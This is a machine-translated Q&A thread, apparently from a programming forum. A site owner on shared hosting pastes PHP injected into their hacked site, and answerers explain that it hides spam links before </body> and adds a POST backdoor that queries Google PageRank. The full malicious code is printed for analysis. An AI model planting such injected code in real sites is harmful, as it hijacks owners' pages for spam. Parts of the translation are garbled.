2011-02-09 5 views
4

나는 godaddy 공유 호스팅을 가지고 사이트가 손상되었습니다. 누구 잘못 이니? 사이트가 PHP로 만들어지면 사람이 내 사이트에서 어떤 vunerability를 통해 들어가서 파일을 수정할 수 있습니까? 아니면 서버 쪽에서 godaddy가 충분히 안전하지 못했습니까?내 사이트가 훼손되었습니다. 공유 호스팅에서 자신을 보호하는 방법은 무엇입니까?

이것은 파일에 삽입 된 내용입니다. 그것은 무엇을합니까?

<?php 
//{{1311051f 

GLOBAL $alreadyxxx; 
if($alreadyxxx != 1) 
{ 
$alreadyxxx = 1; 

$olderrxxx=error_reporting(0); 

function outputxxx_callback($str) 
{ 
    $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805"><a href="http://www.wcvi.org/community_development/ecogardners/fresh/blow-jobs-teen/blow-jobs-teen.html">blow jobs teen</a><br></div></SPAN>'; 
    preg_match("|</body>|si",$str,$arr); 
    return str_replace($arr[0],$links.$arr[0],$str); 
} 

function StrToNum($Str, $Check, $Magic) 
{ 
    $Int32Unit = 4294967296; 
    $length = strlen($Str); 
    for ($i = 0; $i < $length; $i++) { 
     $Check *= $Magic; 
     if ($Check >= $Int32Unit) { 
      $Check = ($Check - $Int32Unit * (int) ($Check/$Int32Unit)); 
      $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check; 
     } 
     $Check += ord($Str{$i}); 
    } 
    return $Check; 
} 
function HashURL($String) 
{ 
    $Check1 = StrToNum($String, 0x1505, 0x21); 
    $Check2 = StrToNum($String, 0, 0x1003F); 

    $Check1 >>= 2; 
    $Check1 = (($Check1 >> 4) & 0x3FFFFC0) | ($Check1 & 0x3F); 
    $Check1 = (($Check1 >> 4) & 0x3FFC00) | ($Check1 & 0x3FF); 
    $Check1 = (($Check1 >> 4) & 0x3C000) | ($Check1 & 0x3FFF); 

    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2) | ($Check2 & 0xF0F); 
    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000); 

    return ($T1 | $T2); 
} 

function CheckHash($Hashnum) 
{ 
    $CheckByte = 0; 
    $Flag = 0; 

    $HashStr = sprintf('%u', $Hashnum) ; 
    $length = strlen($HashStr); 

    for ($i = $length-1; $i >= 0; $i--) { 
     $Re = $HashStr{$i}; 
     if (1 === ($Flag % 2)) { 
      $Re += $Re; 
      $Re = (int)($Re/10) + ($Re % 10); 
     } 
     $CheckByte += $Re; 
     $Flag ++; 
    } 

    $CheckByte %= 10; 
    if (0 !== $CheckByte) { 
     $CheckByte = 10 - $CheckByte; 
     if (1 === ($Flag % 2)) { 
      if (1 === ($CheckByte % 2)) { 
       $CheckByte += 9; 
      } 
      $CheckByte >>= 1; 
     } 
    } 

    return '7'.$CheckByte.$HashStr; 
} 

function getpr($url) 
{ 
    $ch = CheckHash(HashURL($url)); 
    $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";; 
    $data = file_get_contents($file); 
    $pos = strpos($data, "Rank_"); 
    if($pos === false){return -1;} else{ 
     $pr=substr($data, $pos + 9); 
     $pr=trim($pr); 
     $pr=str_replace(" 
",'',$pr); 
     return $pr; 
    } 
} 

if(isset($_POST['xxxprch'])) 
{ 
    echo getpr($_POST['xxxprch']); 
    exit(); 
} 
else 
    ob_start('outputxxx_callback'); 

error_reporting($olderrxxx); 
} 

//}}75671d8f 
?> 
+0

공격 페이로드의 유일한 파일입니까? –

+0

예, 찾을 수있는 모든 것. –

답변

-7

나는 싫지만 당신은 잘못이 있습니다. SQL/HTML/JS/코드 삽입은 귀하의 책임입니다. 또한 강력한 암호를 선택하는 것이 중요합니다. 누구나 취약성을 발견하고 아무 것도 할 수는 없습니다.

마치 코드가 링크를 삽입하고 어떻게 든 Google 페이지 순위를 얻는 것처럼 보입니다.

``OS 나 컴파일러, 에서 버그를 발견 ''를 선택 에 그것은 드문 깨진되지 않거나 :

나는 그것이 실용주의 프로그래머의 원칙 중 하나에 해당 생각 심지어 제 3 자 제품 또는 라이브러리. 버그는 응용 프로그램에서 발생할 가능성이 큽니다.

OS/컴파일러/타사 라이브러리를 공유 호스팅으로 바꿉니다.

+0

콘텐츠가 SQL과 상호 작용하지 않아도 thourhg sql injection 내 사이트를 수정할 수 있습니까? –

+1

당신은 웹 애플리케이션에서 SQL/코드 삽입이라는 결론을 내릴 수 있습니까? 그 게시물에 나온 것이 그게 그의 잘못이라는 것을 나타 냅니까? 통계를 제외하고 나는이 결론에 대해 혼란 스럽다. ... – ircmaxell

+0

@ircmaxell - SQL/코드 삽입은 거의 항상 응용 프로그램 오류이다. –

9

사이트에서 사용하는 패키지 (phpBB, phpNuke 등)에서 악용되었을 가능성이있는 사람들은 취약한 호스트를 찾고있는 웹을 크롤링하여 가능한 한 악용합니다. 이 코드는 오픈 소스이며 쉽게 사용할 수 있으므로 최신 버전을 사용하는 것 이외의 다른 방법으로 보호 할 수는 없습니다.

PacketStormSecurity과 같은 회사는 "스크립트 꼬마들"이 PoC (Proof of Concept) 스크립트를 쉽게 찾을 수 있도록하고 그들이 할 수있는 모든 사이트에서 스크립트를 시도합니다. 잠재 고객 목록을 찾으려면 crafted google query만큼 쉬운 곳도 있습니다.

로그를 통해 악용 된 GET URL을 살펴볼 수는 있지만 가능한 경우 최신 상태로 유지하는 것이 가장 좋은 시나리오이며, 귀하의 사이트를 백업 할 수 있습니다.

+0

이것은 가장 가능성있는 시나리오 인 것처럼 보입니다. – jsight

+0

것은 제 3자를 사용하여 wasnt 한 I 'm 다. 사이트는 처음부터 만들어집니다 –

+0

그런 다음 사이트를 살펴보고 모든 잠재적 GET 및 POST 변수가 확인되고 확인되었는지 확인하십시오. 일부는 단지 '

'을 찾고 악의적 인 코드를 무언가가 멀어지기를 바라는 입력 필드에 삽입하는 웹 사이트를 크롤링합니다. –

0

스크립트는 누군가가 xxxprch 변수를 사용하여 스크립트에 대한 URL을 지정할 수있게합니다. URL의 해시를 검사하여 URL이 일부 표준을 따르고 google에서 해당 URL을 검색하는지 확인합니다. 그런 다음 검색 결과에 "rank_"이라는 단어가 있는지 확인하고 "rank_"다음 9자를 가져 와서 사용자 화면에 표시되도록 반환합니다.

사용자가 xxxprch에 변수를 지정하지 않은 경우 자동으로 성적으로 노골적인 웹 사이트 링크로 페이지를 씁니다.

참고 : Virtual Private Server (한 달에 3 달러 정도면 저렴함)를 얻으면 mod_security를 ​​설치하면 이러한 종류의 공격을 막을 수 있습니다. 반면에 OS를 최신 상태로 유지해야합니다.

1

이 해킹에 실제 거래는 여기에 있습니다 : http://frazierit.com/blog/?p=103

없음 SQL 주입, 비밀 소스는,이 사람들은 와이어를 듣고되지 않았다, 또는 당신이 그들의 방법을 키 입력을 전달하는 사용하는 일부 시스템에서 에이전트가, 귀하의 사이트에서 작업하기 위해 일반 텍스트 암호 FTP를 사용하고있었습니다.그들은 귀하의 사이트에 대한 FTP 액세스를 얻었으며 사이트의 .php 및 .html 페이지에 코드를 체계적으로 주입했습니다. 그들은 수많은 ISP를 통해 페이지 순위 측정기의 분산 네트워크를 구축/구축하고 있습니다. 아마 SEO 작업의 유효성을 검사 할 것입니다. 청소하기 쉽고, 그냥 커맨드 라인 정규식 작업을해야합니다.

-Drew

관련 문제